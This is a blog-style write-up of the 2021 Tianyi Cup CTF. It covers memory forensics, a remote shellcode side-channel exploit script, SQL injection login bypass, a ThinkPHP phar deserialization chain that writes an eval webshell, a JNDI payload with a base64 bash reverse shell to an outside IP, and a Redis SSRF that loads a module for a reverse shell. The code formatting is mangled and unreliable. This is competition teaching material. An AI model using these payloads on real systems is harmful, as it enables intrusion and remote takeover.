资讯专栏INFORMATION COLUMN

2021 第二届天翼杯ctf

Euphoria / 716人阅读

摘要:安全的战队经常参与各大比赛,了解赛事,我们在为打造安全圈好的技术氛围而努力,这里绝对是你学习技术的好地方。欢迎各位大佬小白入驻,大家一起打,一起进步。有意向的师傅请联系邮箱带上自己的简历,简历内容包括自己的学习方向,学习经历等

Misc

签到

群公告
FLAG
flag{e7gRR32wJJcHwQjwc2k9qFZ6fvn3gZ8P}

Browser

先是拿到
1.默认浏览器(请给出在注册表中可证明它是默认浏览器的对应的值,如:IE.HTTP)
一般都在注册表,耐心翻翻

./volatility -f /root/CTF/Browser.raw --profile=Win7SP1x86 hivelist./volatility -f /root/CTF/Browser.raw --profile=Win7SP1x86 hivelist -o 0x8f484880

http://www.360doc.com/content/14/0216/23/13813789_353089973.shtml

看到追加到注册表的地址

然后去检索win7 的注册表
“Software/Microsoft/windows/Shell/Associations/UrlAssociations/http/Userchoice”


./volatility -f /root/CTF/Browser.raw --profile=Win7SP1x86 dumpfiles -Q0x000000007da2abf0 -D ./


下载下来导入navicat

降序下然后就能看到
https://weibo.com/login.php
拼接
MSEdgeHTM_92.0.902.78_https://weibo.com/login.php
得到flag

Pwn

ezshell

from pwn import *elf=ELF("./chall")EXCV = context.binary = "./chall"context.arch="amd64"def pwn(p, idx, c):# openshellcode = """push 0x3a; pop rdi; xor rbx,rbx;inc bl;shl rbx,0x10;add rdi,rbx; xoresi, esi;open:push 2; pop rax; syscall;cmp al,0x4jl open"""# re open, rax => 0x14# read(rax, 0x10050, 0x50)shellcode += "mov rdi, rax; xor eax, eax; push 0x50; pop rdx; push 0x50;pop rsi;add rsi,rbx; syscall;"# cmp and jzif idx == 0:shellcode += "cmp byte ptr[rsi+{0}], {1}; jz $-3; ret".format(idx,c)else:shellcode += "cmp byte ptr[rsi+{0}], {1}; jz $-4; ret".format(idx,c)shellcode = asm(shellcode)p.recvuntil("======== Input your secret code ========/n")p.send(shellcode.ljust(0x40-6, b"a") + b"./flag")idx = 0var_list = []while(1):for c in range(32, 127):p = remote("47.104.169.149",25178)# p=process("./chall")pwn(p, idx, c)start = time.time()try:p.recv(timeout=2)except:passend = time.time()p.close()if end-start > 1.5:var_list.append(c)print("".join([chr(i) for i in var_list]))breakelse:print("".join([chr(i) for i in var_list]))breakidx = idx + 1print("".join([chr(i) for i in var_list]))

Web

eztp

www.zip源码泄漏

POST /public/ HTTP/1.1Host: 8.134.37.86:26846User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:92.0)Gecko/20100101 Firefox/92.0Accept: */*Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2Accept-Encoding: gzip, deflateContent-Type: application/x-www-form-urlencoded; charset=UTF-8X-Requested-With: XMLHttpRequestContent-Length: 100Origin: http://8.134.37.86:26846Connection: closeReferer: http://8.134.37.86:26846/public/index.phpCookie: PHPSESSID=7la556p4v160a8j1nhcholth1dusername[0]=not like&username[1][0]=%%&username[1][1]=233&username[2]=)union select 1,1#&password=1

注入登录进入后台
POP链

namespace think {abstract class Model{protected $append;protected $error;public $parent;}}namespace think/model {use think/db/Query;use think/Model;use think/model/relation/HasOne;use think/console/Output;abstract class Relation{protected $query;protected $selfRelation;protected $parent;protected $foreignKey;protected $localKey;}class Pivot extends Model{public function __construct(){$this->append = ["mb" => "getError"];$this->error = new HasOne();$this->parent = new Output();}}}namespace think/session/driver {use think/cache/driver/File;class Memcached{protected $handler;public function __construct(){$this->handler = new File();}}}namespace think/cache/driver {class File{protected $options;protected $tag;function __construct(){$this->options = ["expire" => 3600,"cache_subdir" => false,"prefix" => "","path" => "php://filter/convert.iconv.utf-8.utf7|convert.base64-decode/resource=aaaPD9waHAgQGV2YWwoJF9QT1NUWydjY2MnXSk7Pz4g/../../../../../../../../var/www/html/public/uploads/a.php","data_compress" => false,];$this->tag = 1;}}}namespace think/db {use think/console/Output;class Query{protected $model;public function __construct(){$this->model = new Output();}}}namespace think/console {use think/session/driver/Memcached;class Output{protected $styles;private $handle;public function __construct(){$this->styles = ["where"];$this->handle = new Memcached();}}}namespace think/model/relation {use think/Model/Relation;use think/db/Query;use think/console/Output;abstract class OneToOne extends Relation{protected $bindAttr;}class HasOne extends OneToOne{public function __construct(){$this->selfRelation = 0;$this->query = new Output();$this->bindAttr = ["ccc", "ccc"];$this->foreignKey = "ccc";$o = new /stdClass();$o->mb = "ccc";$this->parent = $o;$this->localKey = "mb";}}}namespace think/process/pipes {use think/model/Pivot;class Windows{private $files;public function __construct(){$this->files = [new Pivot()];}}}namespace {use think/process/pipes/Windows;// echo urlencode(base64_encode(serialize(new Windows())));$phar = new Phar("exp.phar"); //后缀名必须为 phar$phar->startBuffering();$phar->setStub("GIF89a" . "");$object = new Windows();$phar->setMetadata($object); //将自定义的 meta-data 存入 manifest$phar->addFromString("1.php", ""); //添加要压缩的文件//签名自动计算$phar->stopBuffering();rename("exp.phar", "exp.jpg");}

上传phar文件
使用listpic路由触发 phar反序列化

http://8.134.37.86:24954/public/?s=admin/index/listpic&dir=phar:///var/www/html/public/static/img/person.jpg

写入shell后 读取flag

jackson

花生壳设置内网穿透安排恶意ldap服务

use exploit LDAPLocalChainListeneruse payload CommonsCollections8use bullet TransformerBulletset lport 9001set version 3set args "set args "bash -c{echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMDEuMzIuMjAxLjQ0Lzk5OTkgMD4mMQ==}|{base64,-d}|{bash,-i}""run

ysomap直接用上面的payload
中转到服务器上接到shell

easy_eval

反序列化

class a{public $code = "system("cat /*;id");";function __construct($code){$this->code = $code;}}class b{function __construct($code){$this->a = new a($code);}function __destruct(){echo $this->a->a();}}$c = new b("eval($_REQUEST[0]);");echo serialize($c);

把redis的so扩展上传到/tmp目录下
用fsockopen发起ssrf 打redis

function Getfile($host, $port, $link){$fp = fsockopen($host, intval($port), $errno, $errstr, 30);if(!$fp){echo "$errstr (error number $errno) /n";}else{$out = "$link";//$out = "GET $link HTTP/1.1/r/n";//$out .= "HOST $host /r/n";//$out .= "Connection: Close/r/n/r/n";//$out .= "/r/n";fwrite($fp, $out);$content = "";while(!feof($fp)){$contents .= fgets($fp, 1024);}fclose($fp);return $contents;}}$poc = "AUTH you_cannot_guess_it/r/n";$poc .= "module load /tmp/exp.so/r/nsystem.rev 121.196.165.115 6663/r/n";$poc .= "info/r/nquit/r/n";var_dump($poc);var_dump(Getfile("127.0.0.1","6379",$poc));


Tip

你是否想要加入一个安全团队
拥有更好的学习氛围?

那就加入EDI安全,这里门槛不是很高,但师傅们经验丰富,可以带着你一起从基础开始,只要你有持之以恒努力的决心。

EDI安全的CTF战队经常参与各大CTF比赛,了解CTF赛事,我们在为打造安全圈好的技术氛围而努力,这里绝对是你学习技术的好地方。这里门槛不是很高,但师傅们经验丰富,可以带着你一起从基础开始,只要你有持之以恒努力的决心,下一个CTF大牛就是你。

欢迎各位大佬小白入驻,大家一起打CTF,一起进步。

我们在挖掘,不让你埋没!

你的加入可以给我们带来新的活力,我们同样也可以赠你无限的发展空间。

有意向的师傅请联系邮箱root@edisec.net(带上自己的简历,简历内容包括自己的学习方向,学习经历等)

文章版权归作者所有,未经允许请勿转载,若此文章存在违规行为,您可以联系管理员删除。

转载请注明本文地址:https://www.ucloud.cn/yun/121211.html

相关文章

  • 鹤城2021 Web

    摘要:登录功能传和。尝试弱口令登录成功但是提示并不在这里。尝试注入但是了因此利用注入。数据库名的话很好注入直接不用用也可以注出是了然后开始注表名。 easy_sql_2 ...

    番茄西红柿 评论0 收藏2637
  • CTF平台实时榜单功能后端设计方案

    摘要:最近复盘项目的时候,把平台中实时榜单的后端设计部分整理了一下,在此分享出来。实时榜单功能作为整个平台最重要的功能之一,同时也是访问量最高的一个功能,对这个功能做一个比较全面的设计是很有必要的。获取指定比赛的榜单。 ...

    Luosunce 评论0 收藏0
  • WriteUp – 2018年“华为”极客出发XMan冬令营线上CTF选拔赛

    摘要:第二题返老还童拿到之后丢进,发现只有,代码,没有。仔细观察发现,以上坐标可以对应坐标系中的一个九宫格。有点脑洞,把九个坐标编好数字,然后按照坐标给出的顺序写数字就是答案。 Mobile 第二题:返老还童(1000pt) 拿到apk之后丢进JEB,发现只有.class,java代码,没有so。整个apk的class文件结构如下: a.a.a com.reverse.daydayup.a ...

    young.li 评论0 收藏0
  • 天翼easy_eval复现

    摘要:最近打了很多比赛,很多题没有做出来。所以决定复现一下某些题目。至此,题目基本搭建完成。通过反序列化,触发函数。但需要注意的是函数会在这个类初始化之前触发。加载该文件,即可完成命令执行,访问到被限制访问的文件。 ...

    Channe 评论0 收藏0
  • [CTF]GUET梦极光线上赛个人WP

    摘要:当后端程序通过不正确的正则表达式比如将之后到为止的字符内容,也就是,认为是访问请求的地址时对上述的内容进行解析的时候,很有可能会认为访问的为,而实际上这个所请求的内容都是上的内容。 ...

    smallStone 评论0 收藏0

发表评论

0条评论

Euphoria

|高级讲师

TA的文章

阅读更多
最新活动
阅读需要支付1元查看
<